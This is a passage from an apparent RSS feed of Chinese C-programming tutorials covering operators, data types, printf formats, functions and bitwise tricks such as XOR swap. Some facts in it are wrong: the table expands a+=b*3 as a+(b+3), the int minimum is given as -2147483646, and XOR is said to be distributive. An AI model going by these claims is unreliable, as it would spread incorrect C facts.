		</tr></tbody></table><p>
	算术表达式：算术表达式是由<a href="https://baike.baidu.com/item/%E5%B8%B8%E9%87%8F" title="常量" rel="external nofollow">常量</a>、<a href="https://baike.baidu.com/item/%E5%8F%98%E9%87%8F" title="变量" rel="external nofollow">变量</a>、函数、圆括号、运算符等组成。一个<a href="https://baike.baidu.com/item/%E5%B8%B8%E9%87%8F" title="常量" rel="external nofollow">常量</a>、一个<a href="https://baike.baidu.com/item/%E5%8F%98%E9%87%8F" title="变量" rel="external nofollow">变量</a>（已赋过值）、一个函数都是合法的表达式。
</p>

<p>
	自增、自减运算符 &gt;&gt;&gt;&gt;&gt;单目运算符 &gt;&gt;&gt;&gt;&gt;自右向左结合
</p>

<p>
	i++ &gt;&gt;&gt;先使用再加1 ++i &gt;&gt;&gt;先加1再使用（i--、--i同理）
</p>

<h3>
	（2）.赋值运算符
</h3>

<p>
	“=” &gt;&gt;&gt;赋值运算符，双目运算符，左边必须是变量，右边必须是表达式，具有自右向左的结合性，优先级只高于逗号运算符，比其他任何运算符优先级都低
</p>

<p>
	复合赋值运算符：
</p>

<table><thead><tr><th>
				对象数
			</th>
			<th>
				名称
			</th>
			<th>
				运算符
			</th>
			<th>
				运算规则
			</th>
			<th>
				运算对象
			</th>
			<th>
				运算结果
			</th>
		</tr></thead><tbody><tr><td>
				双目
			</td>
			<td>
				加赋值
			</td>
			<td>
				+=
			</td>
			<td>
				a+=b*3 &gt;&gt;&gt;a=a+（b+3）
			</td>
			<td>
				数值型
			</td>
			<td>
				数值型
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				减赋值
			</td>
			<td>
				-=
			</td>
			<td>
				 
			</td>
			<td>
				数值型
			</td>
			<td>
				数值型
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				乘赋值
			</td>
			<td>
				*=
			</td>
			<td>
				 
			</td>
			<td>
				数值型
			</td>
			<td>
				数值型
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				除赋值
			</td>
			<td>
				/=
			</td>
			<td>
				 
			</td>
			<td>
				数值型
			</td>
			<td>
				数值型
			</td>
		</tr><tr><td>
				双目
			</td>
			<td>
				模赋值
			</td>
			<td>
				%=
			</td>
			<td>
				 
			</td>
			<td>
				整型
			</td>
			<td>
				整型
			</td>
		</tr></tbody></table><p>
	赋值表达式：
</p>

<p>
	<img alt="?i=62eae25e7cef4d83834f450f9378c5a4.png?" data-ratio="59.52" height="347" width="583" src="https://www.icode9.com/i/ll/?i=62eae25e7cef4d83834f450f9378c5a4.png?,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVGVyc2lvbg==,size_20,color_FFFFFF,t_70,g_se,x_16" loading="lazy"></p>

<p>
	 
</p>

<p>
	 
</p>

<h3>
	（3）.逗号运算符
</h3>

<p>
	表达式1，表达式2，.......
</p>

<p>
	在所有运算符中优先级最低，结合性是从左向右
</p>
]]></description><guid isPermaLink="false">321</guid><pubDate>Sat, 15 Oct 2022 21:16:34 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;-&#x57FA;&#x672C;&#x6570;&#x636E;&#x7C7B;&#x578B;&#x4E0E;&#x4F4D;&#x8FD0;&#x7B97;</title><link>https://www.hackhat.org/Hacker-topic/320.html/</link><description><![CDATA[<p>
	 
</p>

<h2>
	一、前言
</h2>

<p>
	这篇文章作为基础知识点，总结C语言的基本数据类型有哪些，浮点数的精度，整数变量的空间范围，变量定义语法，变量命名规则，浮点数打印格式，基本数据类型printf对应的打印、位运算的知识点。
</p>

<h2>
	<a rel=""></a>二、变量的定义语法与数据类型
</h2>

<pre><code><span>&lt;数据类型&gt;</span> <span>&lt;变量名称&gt;;</span>

<span>例如:</span> <span>int</span><span> a</span><span>;</span>

<span>数据类型可以填哪些？</span>
<span>int</span><span>、</span><span>char</span><span>、</span><span>float</span><span>、</span><span>double</span><span>、</span><span>long</span><span>、</span><span>short</span> 

<span>每个数据类型有什么区别？</span>
<span>int</span> <span>用来存放整型数据。比如:</span> <span>123</span><span>、</span><span>456</span><span>、-</span><span>678</span>
<span>char</span> <span>用来字符和整型数据。比如：</span><span>123</span><span>、</span><span>2</span><span>、</span><span>5</span><span>、</span><span>'A'</span><span>、</span><span>'K'</span>
<span>float</span> <span>用来浮点数类型的数据(单精度)。比如:</span> <span>12.34</span> <span>、</span><span>12.0</span> <span>、</span> <span>56.789</span>
<span>double</span> <span>用来浮点数类型的数据(双精度)。</span>
<span>long</span> <span>用来存放整型数据。</span>
<span>short</span> <span>用来存放整型数据。</span>

<span>int</span><span>、</span><span>char</span><span>、</span><span>short</span><span>..都可以存放整型，具体有什么区别？</span>
<span>每个数据类型所占用的空间大小不一样。</span>
<span>int</span> <span>类型</span> <span>占</span><span>4</span><span>个字节</span>
<span>char</span><span>类型</span> <span>占</span><span>1</span><span>个字节</span>
<span>short</span><span>类型占</span><span>2</span><span>个字节</span>

<span>int</span><span>、</span><span>char</span><span>、</span><span>short</span><span>..都可以存放整型，具体能存放多大的数据？</span>
<span>因为整数的有负数的，所以程序里数据类型分为有符号和无符号。</span>
<span>无符号的关键字:</span> <span>unsigned</span>
<span>比如:</span> <span>int</span><span>类型定义就有以下方式</span>
<span>unsigned</span> <span>int</span><span> a</span><span>;</span> <span>//表示不存放符号位，4个字节=32位，全部存放有效数据。 最大值: 0~4294967295</span>
<span>int</span><span> a</span><span>;</span> <span>//表示存放符号位，4个字节=32位，除了最高位其他位存放有效数据。 最大值: -2147483646  ~ +2147483647</span>
<span>unsigned</span> <span>char</span><span> b</span><span>;</span> <span>//存放的数据范围: 1个字节=8位    存放范围:0~255　　　0x00 ~ 0xFF</span>
<span>char</span><span> b</span><span>;</span><span>//存放的数据范围: 1个字节=8位    存放范围: -128  -  +127  </span>

<span>float</span><span>,</span><span>double</span> <span>..都可以存放浮点数，具体的区别？</span>
<span>float</span> <span>存放单精度浮点数.</span>  <span>占空间</span><span>4</span><span>个字节。精确到小数点后</span><span>6</span><span>位。</span>
<span>double</span> <span>存放双精度浮点数.</span> <span>占空间</span><span>8</span><span>个字节。精确到小数点后</span><span>10</span><span>位。</span>

<span>unsigned</span> <span>关键字可以声明哪些数据类型？</span> <span>只能声明整型。</span> <span>unsigned</span> <span>char</span> <span>、</span> <span>unsigned</span> <span>int</span> 

<span>&lt;变量名称&gt;</span>  <span>是如何命名的？有什么要求？</span>
<span>变量名的首字母必须是:</span> <span>字母或者是</span><span>_ </span><span>(下划线)、</span> <span>首字符之后可以是数字。</span>
<span>命名规则:</span> <span>'A'</span><span>到</span><span>'Z'</span> <span>'a'</span> <span>到</span> <span>'z'</span>  <span>'0'</span><span>到</span><span>'9'</span>  <span>'_'</span>
<span>后面函数名称、数组的名称、结构体......都遵循该命名规则。</span>

<span>变量名称有没有长度限制？</span> <span>一般限定</span><span>32</span><span>个字符。</span>
</code></pre>

<p>
	<strong>示例代码验证结果</strong>
</p>

<pre><code><span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span>   
    <span>unsigned</span> <span>char</span><span> a</span><span>=</span><span>256</span><span>;</span>
    <span>char</span><span> b</span><span>=</span><span>128</span><span>;</span><span>
    printf</span><span>(</span><span>"a=%d\n"</span><span>,</span><span>a</span><span>);</span> <span>//0</span><span>
    printf</span><span>(</span><span>"b=%d\n"</span><span>,</span><span>b</span><span>);</span><span>//-128</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span>

<span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span><span>   
    printf</span><span>(</span><span>"int=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>int</span><span>));</span>  <span>//4字节</span><span>
    printf</span><span>(</span><span>"unsigned int=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>unsigned</span> <span>int</span><span>));</span> <span>//4字节</span><span>
    printf</span><span>(</span><span>"float=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>float</span><span>));</span> <span>//4字节</span><span>
    printf</span><span>(</span><span>"short=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>short</span><span>));</span> <span>//2字节</span><span>
    printf</span><span>(</span><span>"double=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>double</span><span>));</span> <span>//8字节</span><span>
    printf</span><span>(</span><span>"char=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>char</span><span>));</span> <span>//1字节</span><span>
    printf</span><span>(</span><span>"123=%d\n"</span><span>,</span><span>sizeof</span><span>(</span><span>123</span><span>));</span><span>//4字节</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<h2>
	<a rel=""></a>三、整数、浮点数格式前缀和打印格式
</h2>

<pre><code><span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span>   
    <span>int</span><span> a</span><span>=</span><span>7</span><span>;</span>     <span>//十进制</span>
    <span>int</span><span> b</span><span>=</span><span>0x7</span><span>;</span>   <span>//十六进制</span>
    <span>int</span><span> c</span><span>=</span><span>07</span><span>;</span>   <span>//8进制</span>
    <span>int</span><span> d</span><span>=</span><span>0b0111</span><span>;</span> <span>//二进制   gcc是支持。</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,</span><span>a</span><span>);</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,</span><span>b</span><span>);</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,</span><span>c</span><span>);</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,</span><span>d</span><span>);</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span>

<span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span>   
    <span>unsigned</span> <span>int</span><span> a</span><span>=</span><span>100</span><span>;</span>
    <span>int</span><span> b</span><span>=</span><span>200</span><span>;</span>
    <span>float</span><span> c</span><span>=</span><span>12.34</span><span>;</span>
    <span>double</span><span> d</span><span>=</span><span>456.789</span><span>;</span>
    <span>long</span><span> f</span><span>=</span><span>456</span><span>;</span><span>

    printf</span><span>(</span><span>"%u\n"</span><span>,</span><span>a</span><span>);</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,</span><span>b</span><span>);</span><span>
    printf</span><span>(</span><span>"%.2f\n"</span><span>,</span><span>c</span><span>);</span><span>
    printf</span><span>(</span><span>"%.3f\n"</span><span>,</span><span>d</span><span>);</span><span>
    printf</span><span>(</span><span>"%ld\n"</span><span>,</span><span>f</span><span>);</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span>

<span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span><span>   
    printf</span><span>(</span><span>"%10d\n"</span><span>,</span><span>123</span><span>);</span>  <span>//左补齐空格</span><span>
    printf</span><span>(</span><span>"%-10d,%d\n"</span><span>,</span><span>123</span><span>,</span><span>456</span><span>);</span>  <span>//右边补齐空格</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span>
<span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span><span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span><span>   
    printf</span><span>(</span><span>"%#x\n"</span><span>,</span><span>255</span><span>);</span>  <span>//16进制</span><span>
    printf</span><span>(</span><span>"%#d\n"</span><span>,</span><span>255</span><span>);</span>  <span>//10进制</span><span>
    printf</span><span>(</span><span>"%#o\n"</span><span>,</span><span>255</span><span>);</span> <span>//八进制</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<h2>
	<a rel=""></a>四、位运算知识点
</h2>

<pre><code><span>位运算:　~</span> <span>按位取反、|</span> <span>按位或</span>  <span>&amp;</span> <span>按位与</span>  <span>&gt;&gt;按位右移</span>  <span>&lt;&lt;按位左移</span>   <span>^异或运算</span>
<span>逻辑运算符:</span> <span>||</span> <span>逻辑或</span>  <span>&amp;&amp;</span> <span>逻辑与</span>   <span>!逻辑非</span>  <span>（逻辑只有真假</span> <span>0</span><span>和</span><span>1</span>  <span>非</span><span>0</span><span>即为真）</span>

<span>~</span> <span>按位取反的规则:</span>  <span>0</span><span>为</span><span>1</span><span>、</span><span>1</span><span>为</span><span>0</span>
<span>例如:</span>  
<span>unsigned</span> <span>char</span><span> a</span><span>=</span><span>0x38</span><span>;</span>
<span>00111000</span>
<span>11000111</span>
<span>~</span><span>a</span><span>等于</span><span>11000111</span>

<span>|</span> <span>按位或的规则:</span>  <span>有</span><span>1</span><span>为</span><span>1</span><span>，全</span><span>0</span><span>为</span><span>0</span>
<span>&amp;</span> <span>按位与的规则:</span>  <span>有</span><span>0</span><span>为</span><span>0</span><span>，全</span><span>1</span><span>为</span><span>1</span>
<span>&gt;&gt;按位右移的规则:</span> <span>低位溢出、高位补</span><span>0</span>
<span>&lt;&lt;按位左移的规则:</span> <span>高位溢出，低位补</span><span>0</span>
<span>^异或运算的规则:</span> <span>相同为</span><span>0</span> <span>不同为</span><span>1</span></code></pre>
]]></description><guid isPermaLink="false">320</guid><pubDate>Sat, 15 Oct 2022 21:16:08 +0000</pubDate></item><item><title>&#x51FD;&#x6570; C</title><link>https://www.hackhat.org/Hacker-topic/319.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	系列文章目录
</h1>

<hr /><p>
	 
</p>

<h3>
	文章目录
</h3>

<ul><li>
		<a href="https://www.icode9.com/content-4-1277189.html#_0" rel="external nofollow">系列文章目录</a>
	</li>
	<li>
		<a href="https://www.icode9.com/content-4-1277189.html#_13" rel="external nofollow">前言</a>
	</li>
	<li>
		<a href="https://www.icode9.com/content-4-1277189.html#_20" rel="external nofollow">一、定义函数</a>
	</li>
	<li>
		<ul><li>
				<ul><li>
						<a href="https://www.icode9.com/content-4-1277189.html#1_24" rel="external nofollow">1.定义无参函数</a>
					</li>
					<li>
						<a href="https://www.icode9.com/content-4-1277189.html#2_37" rel="external nofollow">2.定义有参函数</a>
					</li>
					<li>
						<a href="https://www.icode9.com/content-4-1277189.html#3_51" rel="external nofollow">3.定义空函数</a>
					</li>
				</ul></li>
		</ul></li>
	<li>
		<a href="https://www.icode9.com/content-4-1277189.html#_58" rel="external nofollow">二、调用函数</a>
	</li>
	<li>
		<ul><li>
				<ul><li>
						<a href="https://www.icode9.com/content-4-1277189.html#1_60" rel="external nofollow">1.函数调用的形式</a>
					</li>
				</ul></li>
			<li>
				<a href="https://www.icode9.com/content-4-1277189.html#2_66" rel="external nofollow">2.</a>
			</li>
		</ul></li>
</ul><p>
	 
</p>

<hr /><h1>
	<a rel=""></a>前言
</h1>

<p>
	函数就是用来完成一定的功能，函数就是功能，每一个函数用来实现一个特定的功能。<br />
	常见的就是主函数 ，main函数。
</p>

<p>
	<span style="color:#999aaa;">提示：以下是本篇文章正文内容，下面案例可供参考</span>
</p>

<h1>
	<a rel=""></a>一、定义函数
</h1>

<p>
	在C程序中用到的函数，必须<span style="color:#FF0000;font-size:medium;"><strong>先定义后使用</strong><br /><span style="color:#000000;font-size:medium;">对于C提供的库函数，无需自己定义，只需要用<strong>#include</strong>指令把有关头文件包含到本文件模块中，在有关头文件中包含了对函数的声明。<br />
	#include&lt;stdio.h&gt;</span></span>
</p>

<h3>
	<a rel=""></a>1.定义无参函数
</h3>

<p>
	类型名 函数名()<br />
	{<br />
	函数体<br />
	}<br />
	或者<br />
	类型名 函数名(void)<br />
	{<br />
	函数体<br />
	}<br />
	void表示空，即没有参数。<br />
	函数体包含声明部分和语句部分。
</p>

<h3>
	<a rel=""></a>2.定义有参函数
</h3>

<p>
	以下定义的max函数是有参函数：
</p>

<pre><code><span>int</span><span> max</span><span>(</span><span>int</span><span> x</span><span>,</span><span>int</span><span> y</span><span>)</span>
<span>{</span><span>int</span><span> z</span><span>;</span><span>
z</span><span>=</span><span>x</span><span>&gt;</span><span>y</span><span>?</span><span>x</span><span>:</span><span>y</span><span>;</span>          <span>//执行语句部分</span>
<span>return</span><span>(</span><span>z</span><span>);</span>
<span>}</span></code></pre>

<p>
	定义有参函数一般形式为：<br />
	类型名 函数名(形式参数表列)<br />
	{<br />
	函数体<br />
	}
</p>

<h3>
	<a rel=""></a>3.定义空函数
</h3>

<p>
	形式：<br />
	类型名 函数名()<br />
	{ }<br />
	例如：<br />
	void dummy()<br />
	{ }
</p>

<h1>
	<a rel=""></a>二、调用函数
</h1>

<p>
	定义函数的目的就是为了调用函数。
</p>

<h3>
	<a rel=""></a>1.函数调用的形式
</h3>

<p>
	print_star(); //调用无参函数<br />
	c=max(a,b);//调用有参函数
</p>
]]></description><guid isPermaLink="false">319</guid><pubDate>Sat, 15 Oct 2022 21:15:52 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x4F4D;&#x8FD0;&#x7B97;&#x7B26;&#xFF1A;&#x4E0E;&#x3001;&#x6216;&#x3001;&#x5F02;&#x6216;&#x3001;&#x53D6;&#x53CD;&#x3001;&#x5DE6;&#x79FB;&#x4E0E;&#x53F3;&#x79FB;</title><link>https://www.hackhat.org/Hacker-topic/318.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	　　位运算是指按二进制进行的运算。在系统软件中，常常需要处理二进制位的问题。C语言提供了6个位操作运算符，这些运算只能用于整型操作数，即只能用于带符号或无符号的char、short、int与long类型。浮点数因为浮点型和整型在计算机内的存储方式大相径庭，同样是32位。但是浮点数是1位表示符号位，23位表示数值部分，8位其他表示指数部分。而整型只是单纯32位补码形式存放的，这就是位运算不能用于浮点数的原因。<br><strong>1、“按位与”运算符（&amp;）</strong><br>
	　　按位与是指:参加运算的两个数据，按二进制进行“与”运算。如果两个相应的二进制位都位1，则该位的结果为1；否则为0。这里的1的可以理解为逻辑中的true，0可以理解为逻辑的false。按位与其实与逻辑上“与”的运算规则一致。逻辑上的“与”，要求运算数全真，结果才为真。若A=true， B=true，则A∩B=true 例如：3&amp;5， 3的二进制编码是11(2)。（为了区分十进制和其他进制，本文规定，凡是非十进制的数据均在数据后面加上括号，括号中注明其进制，二进制则标记为2，内存储存数据的基本单位是字节(Byte)，一个字节由8个位(bit)所组成。位是用以描述电脑数据量的最小单位。二进制系统中，每个0或1就是一个位。将11(2)补足成一个字节，则是00000011(2)。5的二进制编码是101(2)，将其补足称一个字节，则00000101(2)。<br><strong>按位与运算：</strong><br>
	0000 0011(2) &amp; 000000101(2) = 00000001(2)<br>
	由此可知3&amp;5 = 1。
</p>

<p>
	C语言代码：
</p>

<pre><span>1</span> <span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>2</span> 
<span>3</span> <span>int</span><span> main</span><span>(</span><span>void</span><span>)</span> <span>{</span>
<span>4</span>     <span>int</span><span> a </span><span>=</span> <span>3</span><span>,</span><span> b </span><span>=</span> <span>5</span><span>;</span>
<span>5</span><span>     printf</span><span>(</span><span>"a and b: %d\n"</span><span>,</span><span> a </span><span>&amp;</span><span> b</span><span>);</span> <span>//0011 &amp; 0101</span>
<span>6</span>     <span>return</span> <span>0</span><span>;</span>
<span>7</span> <span>}</span></pre>

<p>
	CPU处理位运算的速度是最快的，所以很多操作我们都可以转换为位运算，以下是用按位与替换取模运算进行奇偶数判断。
</p>

<pre> <span>1</span> <span>/*************************************************************************
 2     &gt; File Name: 2.test.c
 3     &gt; Author: yudongqun
 4     &gt; Mail: qq2841015@163.com
 5     &gt; Created Time: Sun 18 Oct 2020 10:19:55 PM CST
 6  ************************************************************************/</span>
 <span>7</span> <span>#include</span> <span>&lt;stdio.h&gt;</span>   
 <span>8</span>                         
 <span>9</span> <span>int</span><span> main</span><span>(</span><span>void</span><span>)</span> <span>{</span>        
<span>10</span>     <span>int</span><span> n</span><span>;</span>              
<span>11</span><span>     printf</span><span>(</span><span>"please input a integer:"</span><span>);</span>
<span>12</span>     <span>while</span> <span>(</span><span>scanf</span><span>(</span><span>"%d"</span><span>,</span> <span>&amp;</span><span>n</span><span>)</span> <span>!=</span><span> EOF</span><span>)</span> <span>{</span>
<span>13</span>         <span>//if(n % 2) {</span>
<span>14</span>         <span>if</span> <span>(</span><span>n </span><span>&amp;</span> <span>1</span><span>)</span> <span>{</span>                                                                                                                  
<span>15</span><span>            printf</span><span>(</span><span>"Odd number\n"</span><span>);</span> <span>//奇数</span>
<span>16</span>         <span>}</span> <span>else</span> <span>{</span>        
<span>17</span><span>           printf</span><span>(</span><span>"Even number\n"</span><span>);</span><span>//偶数</span>
<span>18</span>         <span>}</span>               
<span>19</span><span>         printf</span><span>(</span><span>"please input a integer:"</span><span>);</span>
<span>20</span>     <span>}</span>                   
<span>21</span>     <span>return</span> <span>0</span><span>;</span>           
<span>22</span> <span>}</span> </pre>

<p>
	编译运行，并输入数字来测试，结果如下：
</p>

<pre><span>ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>20201017</span> <span>%</span><span> g</span><span>++</span> <span>2.test</span><span>.</span><span>c                                                                                       </span><span>[</span><span>0</span><span>]</span><span>
ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>20201017</span> <span>%</span> <span>./</span><span>a</span><span>.</span><span>out</span>                                                                                            <span>[</span><span>0</span><span>]</span><span>
please input a integer</span><span>:</span><span>3</span>
<span>Odd</span><span> number
please input a integer</span><span>:</span><span>2</span>
<span>Even</span><span> number
please input a integer</span><span>:%</span><span>                                                                                                              
ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>20201017</span> <span>%</span>    </pre>

<p>
	14行就是用&amp;运算符去代替%运算符实现奇偶数判断，这样效率更快。
</p>

<p>
	<strong>2.按位或运算符　</strong>
</p>

<p>
	两个相应的二进制位中只要有一个为1，该位的结果值为1。借用逻辑学中或运算的话来说就是，一真为真。
</p>

<p>
	例如 十进制6对应二进制0000 0110与8对应的二进制0000 1000进行或运算，0000 0110 | 0000 1000 = 0000 1110，对应十进制的14。
</p>

<p>
	测试的c语言代码。
</p>

<pre> <span>1</span> <span>/*************************************************************************
 2     &gt; File Name: 3.test.c
 3     &gt; Author: yudongqun
 4     &gt; Mail: qq2841015@163.com
 5     &gt; Created Time: Mon 19 Oct 2020 05:14:44 PM CST
 6  ************************************************************************/</span>
 <span>7</span> 
 <span>8</span> <span>#include</span> <span>&lt;stdio.h&gt;</span>
 <span>9</span> 
<span>10</span> <span>int</span><span> main</span><span>(</span><span>void</span><span>)</span> <span>{</span>
<span>11</span>     <span>int</span><span> n </span><span>=</span> <span>8</span><span>,</span><span> m </span><span>=</span> <span>6</span><span>;</span>
<span>12</span><span>     printf</span><span>(</span><span>"%d | %d = %d\n"</span><span>,</span><span> n</span><span>,</span><span> m</span><span>,</span><span> n </span><span>|</span><span> m</span><span>);</span>
<span>13</span>     <span>return</span> <span>0</span><span>;</span>
<span>14</span> <span>}</span></pre>

<p>
	<strong>3.异或运算</strong>　
</p>

<p>
	    异或是一个数学运算，用于逻辑运算。如果a、b两个值不同，则异或结果为1，否则结果为0，在C语言中是一种强大的基本运算符，有很多巧妙的应用。
</p>

<p>
	例如, A = 14, B = 10;
</p>

<p>
	A = 14，二进制则为1110，B = 10，二进制为1010.
</p>

<p>
	对二进制数进行异或运算 -&gt; 1110^1010 = 0100，对应十进制就为4。
</p>

<p>
	在二进制数异或过程中，我们可以得知异或运算是一种半加运算。什么意思呢？半加即不带进位的加法运算。
</p>

<p>
	如上面1110^1010 = 0100，如果在加法中，如下
</p>

<p>
	 　<img alt="1870130-20201016164302584-331369116.png" width="92" src="https://www.icode9.com/i/l/?n=20&amp;i=blog/1870130/202010/1870130-20201016164302584-331369116.png" loading="lazy" height="46.92"></p>

<p>
	 我们从低位开始加起，首先第0位为0+0=0；第一位1+1=0，如果是加号运算符，则需要进位，但由于是异或运算（半加），故不用进位，第二位为1+0=1；最后一位为1+1=0。最终结果就是0100，这就是半加的过程。
</p>

<p>
	<strong>特性</strong>
</p>

<p>
	<strong>　　</strong>1.一个数与0进行异或运算，其运算结果是自身；
</p>

<p>
	　　2.一个数与自身进行异或运算，其运算结果为0；
</p>

<p>
	　　3.异或运算满足分配律，即 3^4^3与3^3^4的结果一样，都为4。
</p>

<p>
	<strong>异或运算的一些应用</strong>
</p>

<p>
	1.异或最常用的一种用法 -- 交换两个数的值。
</p>

<p>
	　　这里直接上代码。
</p>

<pre> <span>1</span> <span>/*************************************************************************
 2     &gt; File Name: swap.c
 3     &gt; Author: yudongqun
 4     &gt; Mail: qq2841015@163.com
 5     &gt; Created Time: Fri 16 Oct 2020 04:48:54 PM CST
 6  ************************************************************************/</span>
 <span>7</span> 
 <span>8</span> <span>#include</span> <span>&lt;stdio.h&gt;</span>
 <span>9</span> 
<span>10</span> <span>int</span><span> main</span><span>(</span><span>void</span><span>)</span> <span>{</span>
<span>11</span>     <span>int</span><span> a </span><span>=</span> <span>10</span><span>,</span><span> b </span><span>=</span> <span>20</span><span>,</span><span> tmp</span><span>;</span>
<span>12</span> 
<span>13</span> <span>#if 0</span>
<span>14</span>     <span>/*用中间值来实现值交换*/</span>
<span>15</span><span>     tmp </span><span>=</span><span> a</span><span>;</span>
<span>16</span><span>     a </span><span>=</span><span> b</span><span>;</span>
<span>17</span><span>     b </span><span>=</span><span> tmp</span><span>;</span>
<span>18</span> <span>#else</span>
<span>19</span>     <span>/*用异或操作来实现值交换*/</span>
<span>20</span><span>     a </span><span>^=</span><span> b</span><span>;</span>
<span>21</span><span>     b </span><span>^=</span><span> a</span><span>;</span>
<span>22</span><span>     a </span><span>^=</span><span> b</span><span>;</span>
<span>23</span> <span>#endif</span>
<span>24</span><span>     printf</span><span>(</span><span>"a: %d, b: %d\n"</span><span>,</span><span> a</span><span>,</span><span> b</span><span>);</span>
<span>25</span> 
<span>26</span>     <span>return</span> <span>0</span><span>;</span>
<span>27</span> <span>}</span></pre>

<pre><span>ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span><span> gcc swap</span><span>.</span><span>c                                                                  </span><span>[</span><span>0</span><span>]</span><span>
ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span> <span>./</span><span>a</span><span>.</span><span>out</span>                                                                     <span>[</span><span>0</span><span>]</span><span>
a</span><span>:</span> <span>20</span><span>,</span><span> b</span><span>:</span> <span>10</span><span>
ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span></pre>

<p>
	这里异或操作实现的值交换的好处是少使用了一个临时变量，执行效率也比较高。
</p>

<p>
	2，寻找只出现一次的数字。
</p>

<p>
	给定一个非空整数数组，除了某个元素只出现一次以外，其余每个元素均出现两次。找出那个只出现了一次的元素。
</p>

<p>
	说明：
</p>

<p>
	你的算法应该具有线性时间复杂度。 你可以不使用额外空间来实现吗？
</p>

<p>
	示例 1:
</p>

<blockquote>
	输入: [2,2,1]<br>
	输出: 1
</blockquote>

<p>
	示例 2:
</p>

<blockquote>
	输入: [4,1,2,1,2]<br>
	输出: 4
</blockquote>

<pre> <span>1</span> <span>/*************************************************************************
 2     &gt; File Name: single_number.c
 3     &gt; Author: yudongqun
 4     &gt; Mail: qq2841015@163.com
 5     &gt; Created Time: Fri 16 Oct 2020 05:20:25 PM CST
 6  ************************************************************************/</span>
 <span>7</span> 
 <span>8</span> <span>#include</span> <span>&lt;stdio.h&gt;</span>
 <span>9</span> 
<span>10</span> <span>int</span><span> single_number</span><span>(</span><span>int</span><span> nums</span><span>[],</span> <span>int</span><span> n</span><span>)</span> <span>{</span>
<span>11</span>     <span>int</span><span> res </span><span>=</span> <span>0</span><span>;</span>
<span>12</span>     <span>for</span> <span>(</span><span>int</span><span> index </span><span>=</span> <span>0</span><span>;</span><span> index </span><span>&lt;</span><span> n</span><span>;</span><span> index</span><span>++)</span> <span>{</span>
<span>13</span><span>         res </span><span>^=</span><span> nums</span><span>[</span><span>index</span><span>];</span>
<span>14</span>     <span>}</span>
<span>15</span>     <span>return</span><span> res</span><span>;</span>
<span>16</span> <span>}</span>
<span>17</span> 
<span>18</span> <span>int</span><span> main</span><span>(</span><span>void</span><span>)</span> <span>{</span>
<span>19</span>     <span>int</span><span> nums</span><span>[</span><span>5</span><span>]</span> <span>=</span> <span>{</span><span>1</span><span>,</span> <span>2</span><span>,</span> <span>2</span><span>,</span> <span>1</span><span>,</span> <span>6</span><span>};</span>
<span>20</span><span>     printf</span><span>(</span><span>"single number is : %d\n"</span><span>,</span><span> single_number</span><span>(</span><span>nums</span><span>,</span> <span>5</span><span>));</span>
<span>21</span> <span>}</span></pre>

<pre><span>ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span><span> g</span><span>++</span><span> single_number</span><span>.</span><span>c                                                         </span><span>[</span><span>0</span><span>]</span><span>
ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span> <span>./</span><span>a</span><span>.</span><span>out</span>                                                                     <span>[</span><span>0</span><span>]</span><span>
single number </span><span>is</span> <span>:</span> <span>6</span><span>
